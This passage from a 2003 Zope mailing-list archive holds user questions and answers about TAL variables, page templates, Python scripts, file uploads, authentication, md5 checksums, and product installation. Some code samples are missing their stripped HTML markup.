container.DPPortal.createInObjectManager(request['id'], request) instance.propertysheets.Basic.manage_editProperties(request) # the ZClass producthome = getattr(container,'DPPortal') # make a new DTMLDocument with data from default_css source = getattr(producthome,'default_css') instance.manage_addDTMLMethod(id='designportal.css',title='Default Design Portal stylesheet',file=source.data) From ed at leafe.com Sat Aug 23 06:09:05 2003 From: ed at leafe.com (Ed Leafe) Date: Sun Aug 24 15:31:17 2003 Subject: [Zope] HOw Do I Modify A Defined Variable In TAL? In-Reply-To: <20030821221604.39042.qmail@web14003.mail.yahoo.com> Message-ID: <71DA2364-D549-11D7-852A-003065B11E84@leafe.com> On Thursday, August 21, 2003, at 06:16 PM, Jonathan Mark wrote: > Using TAL and ZPT, I would like to define a global > variable myVar, and then later on in the page > > add 1 to myVar, e.g. myVar = myVar + 1. > > How can I modify a variable in TAL? I know how to > modify a tag using REPLACE, ATTRIBUTES etc., but I > want to modify a variable that I have previously defined. Just re-define the variable in terms of the old one. Here's a quick example:
This is the original: orig
This is the new: orig
___/ / __/ / ____/ Ed Leafe http://leafe.com/ http://opentech.leafe.com From daniel_t at earthlink.net Fri Aug 22 12:49:22 2003 From: daniel_t at earthlink.net (Daniel Tartaglia) Date: Sun Aug 24 15:49:59 2003 Subject: [Zope] newbie, accessing query results? Message-ID: <333C2598-D4B8-11D7-8F48-0050E4CE2500@earthlink.net> I have the name of a file that I am passing into the page template using my_url?fileid="foo". I then want to access the properties of that file from within the zpt. my zpt looks like: first_name last_name
first name
The error I get is: Error Type: TypeError Error Value: sequence index must be integer Does anyone know what I'm doing wrong? Thanks. From allison at sumeru.stanford.EDU Sun Aug 24 10:59:52 2003 From: allison at sumeru.stanford.EDU (Dennis Allison) Date: Sun Aug 24 16:07:07 2003 Subject: [Zope] CookieCrumbler authentication for XMLRPC In-Reply-To: <16199.55624.943308.365865@gargle.gargle.HOWL> Message-ID: Dieter, Thank you. I was looking in the wrong place for the problem. -d On Sat, 23 Aug 2003, Dieter Maurer wrote: > Dennis Allison wrote at 2003-8-21 17:49 -0700: > > Yikes, I just can't seem to make it work. XMLRPC works fine with Basic > > Authentication but the system the XMLRPC needs to work with uses the > > CookieCrumbler Product--and, for the life of me, I cannot get it to > > authenticate. > > I am sure that CookieCrumber honours basic authentication > info when it is present. This is necessary for FTP and WebDAV > (as well as XMLRPC). > > This means: when your XMLRPC request comes with correct basic > authentication, it should work. If there is no basic authentication > or user/password are not correct, "CookieCrumber" will return > a login dialog page which (of course) is not understood by XMLRPC. > > > Dieter > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From pw_lists at slinkp.com Sat Aug 23 03:17:05 2003 From: pw_lists at slinkp.com (Paul Winkler) Date: Sun Aug 24 16:25:58 2003 Subject: [Zope] HOw Do I Modify A Defined Variable In TAL? In-Reply-To: <20030821221604.39042.qmail@web14003.mail.yahoo.com> References: <20030821221604.39042.qmail@web14003.mail.yahoo.com> Message-ID: <20030823061705.GA9263@slinkp.com> On Thu, Aug 21, 2003 at 03:16:04PM -0700, Jonathan Mark wrote: > Using TAL and ZPT, I would like to define a global > variable myVar, and then later on in the page > > add 1 to myVar, e.g. myVar = myVar + 1. > > How can I modify a variable in TAL? I know how to > modify a tag using REPLACE, ATTRIBUTES etc., but I > want to modify a variable that I have previously defined. for math you can use a tales python expression... -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's FORGETFUL RADIOCACTIVE MAJOR! (random hero from isometric.spaceninja.com) From vattekkat.babu at verizon.net Sat Aug 23 19:21:04 2003 From: vattekkat.babu at verizon.net (Satheesh Babu) Date: Sun Aug 24 16:51:50 2003 Subject: [Zope] Script returning a zpt In-Reply-To: References: Message-ID: <3F47E8D0.9020905@verizon.net> You might've to set it in "REQUEST" object. So your script might look like: request = context.REQUEST request.set('country','France') return context.show_orders(request) Babu http://vsbabu.org/ Simon Faulkner wrote: > If I call my ZPT with a URL ie > > show_orders?country=France it works a treat and the ZSql uses the country > variable no probs > > How do I return this URL from a script? > > return context.show_orders(country='France') doesn't work! > > Am I miles off? > > Simon From vattekkat.babu at verizon.net Sat Aug 23 08:10:06 2003 From: vattekkat.babu at verizon.net (Satheesh Babu) Date: Sun Aug 24 16:56:30 2003 Subject: [Zope] ZPT: getting the current year In-Reply-To: <20030820133809.GA4949@diamond.madduck.net> References: <20030820133809.GA4949@diamond.madduck.net> Message-ID: <3F474B8E.8060502@verizon.net> ... - Babu http://vsbabu.org/ martin f krafft wrote: > i am sure this is easy as hell, but as much as i tried, i did not > yet arrive. please spare me the agony of listing all the things > i tried, could someone just please give me a tal:define statement > that stores the current year in four digit form into a variable for > use in a ZPT? > > thanks, From dman at dman13.dyndns.org Sun Aug 24 01:00:52 2003 From: dman at dman13.dyndns.org (Derrick 'dman' Hudson) Date: Sun Aug 24 16:58:26 2003 Subject: [Zope] Re: [Mailing List] Down? In-Reply-To: <16197.3007.204024.308413@gargle.gargle.HOWL> References: <16197.3007.204024.308413@gargle.gargle.HOWL> Message-ID: <20030824040052.GA2600@dman13.dyndns.org> On Thu, Aug 21, 2003 at 08:13:19PM +0200, Dieter Maurer wrote: | Since several days, I do not receive mails from any of the Zope mailing | lists. Are they down/broken? | | Since about the same time, I receive lots of virus messages. | Maybe, there is some relation? Yes. Message from Martijn Pieters on python-announce-list explains that the surge of (junk) mail caused by SoBig.F overloaded the mail server for python.org and zope.org. Hence the lack of mail flow. -D -- Bugs come in through open windows. Keep Windows shut! http://dman13.dyndns.org/~dman/ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030824/30a5dc11/attachment.bin From webguy at knifecenter.com Sun Aug 24 14:50:09 2003 From: webguy at knifecenter.com (Webguy) Date: Sun Aug 24 17:00:06 2003 Subject: [Zope] (no subject) Message-ID: <011401c36a68$292c0680$c936990c@3u3rw> I know this is basic so I'm not asking for details but if anyone could point me to some good documentation on making dtml forms. I'm trying to make an online grading system that's tied into a firebird database. I have all the table work done but now I'm trying to configure the page to enter the correct data and I don't know dtml that well so if anyone could show me some resources that would be great. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.zope.org/pipermail/zope/attachments/20030824/73b0877e/attachment.htm From pw_lists at slinkp.com Sat Aug 23 00:33:17 2003 From: pw_lists at slinkp.com (Paul Winkler) Date: Sun Aug 24 17:02:47 2003 Subject: [Zope] md5sums of modules In-Reply-To: References: Message-ID: <20030823033317.GA8420@slinkp.com> On Wed, Aug 20, 2003 at 01:52:02PM +0200, Ralph Gauges wrote: > Hi, > > I just tried to download several modules for zope. After download I > tried to compare their md5sums to those given on the website where I > got the modules, but most of them were incorrect. Actually all of them > were not the way they are supposed to be as I understand md5sums. Yes, this has been noticed. check the collector - http://collector.zope.org, there's a sectoin for the web site. I believe this bug is reported there already. -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's THE STRONG PHLEBOTOMIST! (random hero from isometric.spaceninja.com) From garry at joydiv.fsnet.co.uk Sun Aug 24 23:08:34 2003 From: garry at joydiv.fsnet.co.uk (garry saddington) Date: Sun Aug 24 17:59:02 2003 Subject: [Zope] nis user folder Message-ID: <200308242208.34953.garry@joydiv.fsnet.co.uk> When i try to add a nis user folder to my zmi i get an error message: error type:keyError Error value:PARENT_URL can anyone help me to get this working, it seems the simplest way to go for me? regards garry From wphewitt at comcast.net Sun Aug 24 21:43:59 2003 From: wphewitt at comcast.net (Bill Hewitt) Date: Sun Aug 24 18:23:34 2003 Subject: [Zope] How do I get the value of an object in python??? Message-ID: <1061740986.12790.1359.camel@blowfish.hewnix.com> How do I get the value of an object in python and then pass it's attributes to a DTML method???? I run the following: > ## Look for Day Year (ie - Monday 2003) > for i in container.StyleBook.objectValues('Style Sheet') : > print container.StyleBook.loadStyle(title=i.title, > styletype=i.styletype, > bodycolor=i.bodycolor > ) > return printed and it runs fine against loadStyle - a DTML method I wrote to return a formatted CSS stylesheet..... But what I would like to do is use loadStyle in the context of i - in other words, use i's attributes as properties to loadStyle WITHOUT having to declare them all as arguments to loadStyle. What I cant figure out is, how do I get i's id and then pass it to container.StyleBook.loadStyle (python doesnt seem to like container.StyleBook.i.loadStyle) How does one do this? TIA WPH From dieter at handshake.de Sun Aug 24 19:50:08 2003 From: dieter at handshake.de (Dieter Maurer) Date: Sun Aug 24 18:38:37 2003 Subject: [Zope] md5sums of modules In-Reply-To: <4202DDA3828BD24D9381128D46B13D2B34EF14@ktaemail01.villa-bosch.de> References: <4202DDA3828BD24D9381128D46B13D2B34EF14@ktaemail01.villa-bosch.de> Message-ID: <16200.60608.80552.391307@gargle.gargle.HOWL> Gauges, Ralph wrote at 2003-8-24 10:11 +0200: > Are you sure, this would be the responsibility of the webmaster. I don't > know how this is handled by the developers, but I would guess that > providing the right md5sums would be the responsibility of the module > maintainers. The products have been migrated from the old to the new Zope site. Apparently, something went wrong during this migration (otherwise, the MD5 checksums could not all be wrong and even not follow the syntactical restrictions). I am not sure that the WebMaster usually generates the checksums. You are right, that usually, they should be generated at the original source before any network transfer. However, for this global problem, the webmaster is probably the better contact than the Zope mailing ist. Dieter From erik.myllymaki at starpointe.ca Wed Aug 20 14:51:20 2003 From: erik.myllymaki at starpointe.ca (Erik Myllymaki) Date: Sun Aug 24 19:18:12 2003 Subject: [Zope] standard_error_message weirdness Message-ID: <002a01c3675c$cf7ca350$6b21a8c0@inspiron4k> trying to customize my standard_error_message - Zope 2.6.1 on win32 (win2k server) IE 6 client. if I use the simplest possible dtml-method: MyError I get a zope internal site error: ...traceback NotFound: MyError ... so it seems it wants a complete HTML doc. so I change the standard_error_message to: Simplest HTML Error Page MyError. But the wierd thing is it gets displyed once or twice, and then the IE internal error page takes over (404, 500 mostly)... I'm pulling my hair out here - any advice appreciated. From andreas at andreas-jung.com Mon Aug 25 00:01:12 2003 From: andreas at andreas-jung.com (Andreas Jung) Date: Sun Aug 24 19:19:19 2003 Subject: [Zope] (no subject) In-Reply-To: <011401c36a68$292c0680$c936990c@3u3rw> References: <011401c36a68$292c0680$c936990c@3u3rw> Message-ID: <2147483647.1061766072@[192.168.0.3]> The Zope Book (see. zope.org). -aj --On Sonntag, 24. August 2003 13:50 Uhr -0400 Webguy wrote: > I know this is basic so I'm not asking for details but if anyone could > point me to some good documentation on making dtml forms. I'm trying to > make an online grading system that's tied into a firebird database. I > have all the table work done but now I'm trying to configure the page to > enter the correct data and I don't know dtml that well so if anyone could > show me some resources that would be great. From andreas at andreas-jung.com Sun Aug 24 16:16:35 2003 From: andreas at andreas-jung.com (Andreas Jung) Date: Sun Aug 24 19:34:00 2003 Subject: [Zope] Python 2.2.3 and Zope 2.6.2 ? In-Reply-To: <000501c369a3$365917a0$fe78a8c0@mbmsrprivalix> References: <000501c369a3$365917a0$fe78a8c0@mbmsrprivalix> Message-ID: <2147483647.1061738195@[192.168.0.3]> Hi, warum stellst Du die Frage auf der deutschen und der englischen Liste? -aj --On Samstag, 23. August 2003 20:19 Uhr +0200 "F. Troester" wrote: > An easy question to experts of Zope: > > Can I install Python 2.2.3 (with Python email package) or even Python 2.3 > to run Zope-2.6.2b5? > > Thank you for the answer > Fritz > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From claird at lairds.com Sun Aug 24 18:44:34 2003 From: claird at lairds.com (Cameron Laird) Date: Sun Aug 24 20:12:34 2003 Subject: [Zope] How do I ask Zope for the name of an uploaded file? Message-ID: I'll abbreviate this: in a Python script that processes a file upload, how do I express the name of the uploaded file-- that is, the name of the file the user selected with his browser? I expected I'd find this in something like context.REQUEST.get_header('CONTENT-DISPOSITION') or context.REQUEST.get_header('filename') or somesuch, but I'm just getting None from those. Note that this information is available only through the HTTP dialogue; as near as I can tell, it is NOT available through the context.REQUEST dictionary. I anticipate a couple of possibilities. One is that some- one will know immediately what I'm trying to say, and will give me the one-line answer I'm after. The second is that my description puzzles everyone. In that case, I'll happily detail a model that should make all this clear. I prefer to avoid the work, though, if it's un- necessary. From Jerry at Westrick.Com Mon Aug 25 01:17:41 2003 From: Jerry at Westrick.Com (Jerry Westrick) Date: Sun Aug 24 20:23:32 2003 Subject: [Zope] Zope on SuSE 8.2 -- What initial user name and password do I use? In-Reply-To: References: Message-ID: <1061678720.615.32.camel@jerry.westrick.local> The SuSE sets up accounts for you, you'll find the information about how SuSE prepare it for you in /usr/share/doc/packages/zope/readme.suse P.S. It's a good idea to allways look for .../packages/xxx/readme.suse since this is the official place the preparers at SuSE leave notes for you! Jerry Westrick On Fri, 2003-08-22 at 19:32, Dennis Allison wrote: > use zpasswd.py to create a file 'inituser' and create an initial account > username and password. Altertaively you can reinstall and be sure to > captyure the initial user information. > > On Thu, 21 Aug 2003 paulporter@buffalotalks.com wrote: > > > I've got Zope running but when I go to localhost:8080/manage I get a > > dialogbox wanting a user name and password. I didn't know what it was > > wanting so I created an "access" file using zpasswd.py but apparently it > > doesn't see this file because when I enter the user name and password that > > I put in the access file zope just regenerates the prompt dialogbox. > > > > I have made sure that I enter username/password exactly as found in the > > access file, I've tried copying th access file into the zope directory, > > that had no positive effect so I copied it into the zserver directory and > > that had no positive effect either. > > > > Could some kind soul please tell me how to get into Zope? > > > > Thanks for any help that might be offered. > > > > Paul > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://mail.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://mail.zope.org/mailman/listinfo/zope-announce > > http://mail.zope.org/mailman/listinfo/zope-dev ) > > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From pw_lists at slinkp.com Sat Aug 23 11:48:19 2003 From: pw_lists at slinkp.com (Paul Winkler) Date: Sun Aug 24 20:39:07 2003 Subject: [Zope] ZSyncer - Two new features In-Reply-To: <5.2.1.1.0.20030822151419.049eda10@localhost> References: <5.2.1.1.0.20030822151419.049eda10@localhost> Message-ID: <20030823144819.GA1061@slinkp.com> On Fri, Aug 22, 2003 at 03:37:21PM +0100, J?lio Silva wrote: > Hi, > > I've been working with zsyncer and two features were a must for me. > > 1? RETAIN OWNERSHIP: when a user performs a sync, the objects created on > target/destination either get their ownership from the account used to do > the sync or > from the override (username,password) option on "Edit Server" tab.What I > needed > was for the sync to DO NOT take ownership on synced objects but rather > retain > existing ownerhip of the synced objects. > > For this I made changes to ZSyncer/dtml/Edit.dtml and ZSyncer/ZSyncer.py to > be able to have > this feature available. (snip) This is very appreciated, thanks! > IMPORTANT: the option you choose, either take ownership or retain > ownership, this > option must be selected in the same way on source and target servers for > this to work as > expected. Dont ask. ok, if you say so :-) > 2? SELECT ALL: have to sync folders with LOT of objects. I needed a "select > all" button. ZSyncer has had this in CVS for some months now. It's labelled "Toggle" and it sits right next to the "Sync" button. > I used ZSyncer 0.4.6. whoops... it would have been better if you used a cvs checkout from sourceforge. There have been a lot of changes since 0.4.6. We've been overdue for a new tarball release for many months. > I dont know who maintains the ZSyncer code (Is it Andy on zope.org or > zopezen and others > on sourceforge?), Andy == zopezen, and he hasn't done much with zsyncer lately - by default I (slinkp) am now doing the most work on it. I'm very interested in merging your first change with the cvs tree, I will look at this sometime in the next week if you don't beat me to it. Thanks for working on zsyncer! It's a useful tool that could really use more helping hands. -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's MEGA RONALD REGAN! (random hero from isometric.spaceninja.com) From chris at d-designz.co.nz Mon Aug 25 14:15:16 2003 From: chris at d-designz.co.nz (Chris Beaven) Date: Sun Aug 24 21:20:08 2003 Subject: [Zope] How do I ask Zope for the name of an uploaded file? In-Reply-To: References: Message-ID: <3F496324.9040508@d-designz.co.nz> It's a property of the file_upload object. So if you had: Then you'd do something like: context.REQUEST['file'].filename You will also probably want to strip the filename to get just the name not the whole path. I do this through an external method which uses os.path.basename I also have this script to check if the file is empty (returns file_upload object unless it's empty): ## Script (Python) "check_file" ##bind container=container ##bind context=context ##bind namespace= ##bind script=script ##bind subpath=traverse_subpath ##parameters=file ##title=Returns file [except empty files which return None] ## # A file object may exist even though the file is empty, # this script returns the file or None if it's empty # try to read a single byte from file # empty files return empty string at first read if file.read(1) == "": return None else: # go back to start of file file.seek(0) return file HTH Chris Beaven Cameron Laird wrote: >I'll abbreviate this: in a Python script that processes a >file upload, how do I express the name of the uploaded file-- >that is, the name of the file the user selected with his >browser? I expected I'd find this in something like > context.REQUEST.get_header('CONTENT-DISPOSITION') >or > context.REQUEST.get_header('filename') >or somesuch, but I'm just getting None from those. > >Note that this information is available only through the >HTTP dialogue; as near as I can tell, it is NOT available >through the context.REQUEST dictionary. > >I anticipate a couple of possibilities. One is that some- >one will know immediately what I'm trying to say, and will >give me the one-line answer I'm after. > >The second is that my description puzzles everyone. In >that case, I'll happily detail a model that should make all >this clear. I prefer to avoid the work, though, if it's un- >necessary. > >_______________________________________________ >Zope maillist - Zope@zope.org >http://mail.zope.org/mailman/listinfo/zope >** No cross posts or HTML encoding! ** >(Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > > > From chris at d-designz.co.nz Mon Aug 25 15:05:09 2003 From: chris at d-designz.co.nz (Chris Beaven) Date: Sun Aug 24 21:47:03 2003 Subject: [Zope] How do I ask Zope for the name of an uploaded file? In-Reply-To: References: Message-ID: <3F496ED5.8040401@d-designz.co.nz> I dunno why, someone decided it's dangerous...? I just have an misc.py bunch of external methods which handle all my common stuff like re, os.path.basename, the exuserfolder crypt, etc. >Great stuff! Many thanks; this is what I needed, and more. > >I dare a tangent: there are a lot of gaps in my Zope education. >I can understand that Zope doesn't give access to os, for secur- >ity reasons, but why is re unavailable? > > > From Patrick.Gelin at rpn.ch Mon Aug 25 08:48:21 2003 From: Patrick.Gelin at rpn.ch (Gelin Patrick) Date: Mon Aug 25 01:48:57 2003 Subject: [Zope] Re: About customizing specific folder content big icon... Message-ID: Hi, I already found the field specified for the icon of my ney type, and I added my icon file name. Thr problem is that it changed only the icon in the navigation tree slot not the big icon of the product. What I want to do is to change the big icon of the product... Patrick Gelin _____ Chef de projet du portail RPN Office de la Statistique et de l'Informatique Scolaire (OSIS) CH-2300 La Chaux-de-Fonds Telephone: +41 (0)32 919 79 13 Email: patrick.gelin@rpn.ch > -----Message d'origine----- > De : jason [mailto:greeny_17@yahoo.com] > Envoy? : jeudi, 21. ao?t 2003 20:59 > ? : zope@zope.org > Cc : plone-users@lists.sourceforge.net > Objet : [Zope] Re: About customizing specific folder content > big icon... > > > To change the icon associated with how the folder gets seen > in the trees > and in the portal go to portal_types and to your new content > type. There > is a field specified for your icon. The icon search by default is the > same area that all the other icons are at which I think is > /Products/CMFPlone/skins/plone_images/ and if you put it in there you > can then just access it. > > > Jason > > > Gelin Patrick wrote: > > Hi, > > > > I created a new WorkSpace_Folder type derived of a > Plone_Folder type. > > I associated a workspace_icon.gif to WorkSpace_Folder type > that I can see in navigation tree, it's beautiful! But > WorkSpace_Folder content display always the Plone_Folder big > icon... How can I change it? > > > > Thanks. > > > > > > ------------------------------------------------------- > > This SF.net email is sponsored by Dice.com. > > Did you know that Dice has over 25,000 tech jobs available > today? From > > careers in IT to Engineering to Tech Sales, Dice has tech jobs from > > the best hiring companies. http://www.dice.com/index.epl?rel_code4 > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross > posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From wphewitt at comcast.net Mon Aug 25 07:07:23 2003 From: wphewitt at comcast.net (Bill Hewitt) Date: Mon Aug 25 02:07:25 2003 Subject: [Zope] How the heck do I do this Python for Loop? Message-ID: <1061791637.3263.28.camel@blowfish.hewnix.com> This has been driving me crazy for the last week...... I wrote a python script that loops through a directory called StyleBook and selects a particular stylesheet based on the Day of the week, the year and a parameter..... --------- example: --------- ## Look for Day Year (ie - Monday 2003) in the StyleBook Directory for i in container.StyleBook.objectValues('Style Sheet'): ## Check the TITLE of "i" against a preset variable and aparameter if i.title = DAYYEAR and i.stylesheetrequest == stylesheetrequest: ### At this point I have all the variables (47 total) except the ID :( This works - I get the proper Style Sheet.... I would *like* to then call a DTML Method against the values in the NAMESPACE of the object I found in the code above..... something like return container.StyleBook.i.loadStyle() but every variation I have tried doesnt work - I get an error telling me that "i" is not in the global NameSpace.... Could someone PLEASE help me through this one? I know it is probably very simple, but it is evading me... WPH From dieter at handshake.de Sun Aug 24 20:30:08 2003 From: dieter at handshake.de (Dieter Maurer) Date: Mon Aug 25 05:08:23 2003 Subject: [Zope] How do I set a default view in in a DTMLDocument Based ZClass? In-Reply-To: <1061587365.12790.11.camel@blowfish.hewnix.com> References: <1061587365.12790.11.camel@blowfish.hewnix.com> Message-ID: <16200.63008.762854.311514@gargle.gargle.HOWL> Bill Hewitt wrote at 2003-8-22 14:22 -0700: > I have created a ZClass with all the properties and administrative > screens, but...... > > I wrote a python script to call a particular StyleSheet (subclassed from > DTMLDocument): > > for i in container.StyleBook.objectValues('Style Sheet') : > print i() > return printed > > > this returns whatever I type in the instance "data" field in the > "manage_main" view, but I cant see how to configure this field with a > default template so I dont have to rewrite the "manage_main" "data" > textfield every time I create an instance..... > > HELP PLEASE.... Sorry, for me, you have not been clear enough. What is your problem? What is 'the "manage_main" "data" textfield'? Somehow, the terms do not fit together. "manage_main" is a method (often implemented as a template) and not a textfield. I know "data" only from "OFS.File" objects. There, it is not a textfield. Dieter From dieter at handshake.de Sun Aug 24 20:32:33 2003 From: dieter at handshake.de (Dieter Maurer) Date: Mon Aug 25 05:09:31 2003 Subject: [Zope] Python 2.2.3 and Zope 2.6.2 ? In-Reply-To: <000501c369a3$365917a0$fe78a8c0@mbmsrprivalix> References: <000501c369a3$365917a0$fe78a8c0@mbmsrprivalix> Message-ID: <16200.63153.24663.636318@gargle.gargle.HOWL> F. Troester wrote at 2003-8-23 20:19 +0200: > Can I install Python 2.2.3 (with Python email package) > or even Python 2.3 to Yes, you can. > run Zope-2.6.2b5? You can try but I would expect some problems: All first versions of the 2.x Python series have had problems with Zope. 2.3[.0] may not be an exception. Dieter From SamirMishra at cbuae.gov.ae Mon Aug 25 14:17:13 2003 From: SamirMishra at cbuae.gov.ae (Samir Mishra) Date: Mon Aug 25 05:23:46 2003 Subject: [Zope] How the heck do I do this Python for Loop? Message-ID: <211AD0070D42D1118C7B00A024FF19AE2EBF1F@AUHEXCH> Use something along the lines of - obj = getattr(container.stylebook, i) return obj.loadStyle() -----Original Message----- From: Bill Hewitt [mailto:wphewitt@comcast.net] Sent: Monday, August 25, 2003 10:07 To: zope@zope.org Subject: [Zope] How the heck do I do this Python for Loop? This has been driving me crazy for the last week...... I wrote a python script that loops through a directory called StyleBook and selects a particular stylesheet based on the Day of the week, the year and a parameter..... --------- example: --------- ## Look for Day Year (ie - Monday 2003) in the StyleBook Directory for i in container.StyleBook.objectValues('Style Sheet'): ## Check the TITLE of "i" against a preset variable and aparameter if i.title = DAYYEAR and i.stylesheetrequest == stylesheetrequest: ### At this point I have all the variables (47 total) except the ID :( This works - I get the proper Style Sheet.... I would *like* to then call a DTML Method against the values in the NAMESPACE of the object I found in the code above..... something like return container.StyleBook.i.loadStyle() but every variation I have tried doesnt work - I get an error telling me that "i" is not in the global NameSpace.... Could someone PLEASE help me through this one? I know it is probably very simple, but it is evading me... WPH _______________________________________________ Zope maillist - Zope@zope.org http://mail.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://mail.zope.org/mailman/listinfo/zope-announce http://mail.zope.org/mailman/listinfo/zope-dev ) From florian.reiser at ra-bc.de Mon Aug 25 12:24:57 2003 From: florian.reiser at ra-bc.de (Florian Reiser) Date: Mon Aug 25 05:25:01 2003 Subject: [Zope] Replacing an unicode string Message-ID: <002401c36aea$c03de840$6ac9280a@domw2k.int> Hi folks, I have an unicode string: text = u'ABC' Now I want to do a replacement of the string u'' to u'\u20ac' (this is the euro sign). When I type text = text.replace(u'', u'\u20ac') nothing happens, the string is still u'ABC' How can I replace the tag '' and insert the euro sign instead? Regards Florian Reiser From mitchy at spacemonkeylabs.com Sat Aug 23 19:20:35 2003 From: mitchy at spacemonkeylabs.com (Mitch Pirtle) Date: Mon Aug 25 08:02:11 2003 Subject: [Zope] ZMySQLDA broken with Redhat 9? In-Reply-To: <3F464B20.18809.55C19F9@localhost> References: <3F464B20.18809.55C19F9@localhost> Message-ID: <1061677235.5925.5.camel@sprocket> On Fri, 2003-08-22 at 18:56, hpinson@indepthl.com wrote: > This is really baffling: Until somebody points out the obvious ;^) You have installed mysql-python for the "installed" python, and not for the python that was bundled with your zope. So first I'd install mysql-python from source, using the python binary that came with zope. Then, test that install by doing this: python import _mysql Should not have errors, if it does, then you never got mysql_python installed where zope can see it. Also, I saw that in order to get ZMySQLDA working you gotta change one line where the transaction-handling parameters were borked. The line (#183?): self.transactions = self.db.server_capabilities & CLIENT.TRANSACTIONS Can be changed to: self.transactions = 0 Of course, on that one I am simply monkey see, monkey do. YMMV. -- Mitch From therp at apriori.de Mon Aug 25 16:22:51 2003 From: therp at apriori.de (Tobias Herp) Date: Mon Aug 25 09:28:35 2003 Subject: [Zope] Wrong MD5 sum for Zope-2.7.0-b1-win32.exe? Message-ID: Hi, I just downloaded Zope-2.7.0-b1-win32.exe (which worked fine) and checked the md5 sum; unfortunately it didn't match. I repeated the download and got the same file; I repeated it with another browser and got the same again. My md5 sum: ab07f4a679cf9323a5620f3003937d20 The documented, obviously wrong md5 sum: ab7f4a679cf9323a562f303937d20 How can this happen? Isn't the checksum automatically updated when the file is uploaded? By the way, it would be nice if the viewMD5 method would yield a correct line like generated by md5sum (e.g. ab07f4a679cf9323a5620f3003937d20 *Zope-2.7.0-b1-win32.exe ) instead of the leading 0, and even better if the Software Release would provide a list, containing all the md5sums of all its files. Cheers, Tobias From tillea at rki.de Mon Aug 25 16:53:02 2003 From: tillea at rki.de (Andreas Tille) Date: Mon Aug 25 09:55:44 2003 Subject: [Zope] PTC and EXIF reading support for Photo product Message-ID: Hi, I found a product to support PTC and EXIF tags at http://zope.org/Members/ausum/Iptc_Exif_reading_support and I would like to package this for Debian GNU/Linux. Unfortunately there is no license available and so I tried to ask the author Augusto Cabrera but his e-mail account seems to be full and the mail bounced. Because the product is more than one year old it might be possible that Augusto does not use this account any more and I would like to ask, whether somebody knows a more up to date address. Kind regards Andreas. From paulporter at buffalotalks.com Mon Aug 25 12:35:52 2003 From: paulporter at buffalotalks.com (paulporter@buffalotalks.com) Date: Mon Aug 25 10:41:02 2003 Subject: [Zope] [Resolved] Zope on SuSE 8.2 -- What initial user name and passworddo I use? Message-ID: <55885.152.34.59.4.1061825752.squirrel@65.217.249.141> Thank you to everyone that offered suggestions and tried to help me with this problem. A very special thank you goes to Anthony Tarlano who was kind enough to detail what he had to do to resolve this same problem in Mandrake. Though SuSE's directory structure is different from Mandrake's the information that Tony provided gave me the clues to solve this problem. THANK YOU TONY! --------------------------------------------------------------------- Now for the archives: Solution for initial log-in to Zope on SuSE 8.2 Linux Distro: SuSE 8.2 Zope Version: 2.6.1 Problem: Zope starts but does not see the 'access' file to verify superuser logon Solution: Logged into Linux as root, save the 'access' file in the /opt/zope/ directory. This file should contain "UserName:PassWord" minus the quotation marks. Log out and log back in to Linux as a user (Not root). Bring Zope up in your browser and enter the superuser information that you saved in the 'access' file, and hit enter. This should allow you into Zope. Now that you have successfully gotten into Zope add a new manager under the acl_user folder. Close out of Zope completely and then log back in under the new user you just created under acl_user. This should allow you into the Control_Panel and your ready to enjoy Zope. Note that you can not do anything accept add or modify a user when logged in as the superuser. --------------------------------------------------------------------------- Again my thanks to everyone who helped me resolve this problem. Paul From brian at zope.com Mon Aug 25 11:42:26 2003 From: brian at zope.com (Brian Lloyd) Date: Mon Aug 25 10:44:37 2003 Subject: [Zope] Wrong MD5 sum for Zope-2.7.0-b1-win32.exe? In-Reply-To: Message-ID: md5s should be fixed now. thanks, Brian Lloyd brian@zope.com V.P. Engineering 540.361.1716 Zope Corporation http://www.zope.com > -----Original Message----- > From: zope-bounces@zope.org [mailto:zope-bounces@zope.org]On Behalf Of > Tobias Herp > Sent: Monday, August 25, 2003 8:23 AM > To: zope@zope.org > Subject: [Zope] Wrong MD5 sum for Zope-2.7.0-b1-win32.exe? > > > Hi, > > I just downloaded Zope-2.7.0-b1-win32.exe (which worked fine) and > checked the md5 sum; unfortunately it didn't match. I repeated the > download and got the same file; I repeated it with another browser and > got the same again. > > My md5 sum: ab07f4a679cf9323a5620f3003937d20 > > The documented, obviously wrong md5 sum: ab7f4a679cf9323a562f303937d20 > > How can this happen? Isn't the checksum automatically updated when the > file is uploaded? > > By the way, it would be nice if the viewMD5 method would yield a correct > line like generated by md5sum (e.g. > > ab07f4a679cf9323a5620f3003937d20 *Zope-2.7.0-b1-win32.exe > > ) instead of the leading 0, and even better if the Software Release > would provide a list, containing all the md5sums of all its files. > > Cheers, > > Tobias > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > 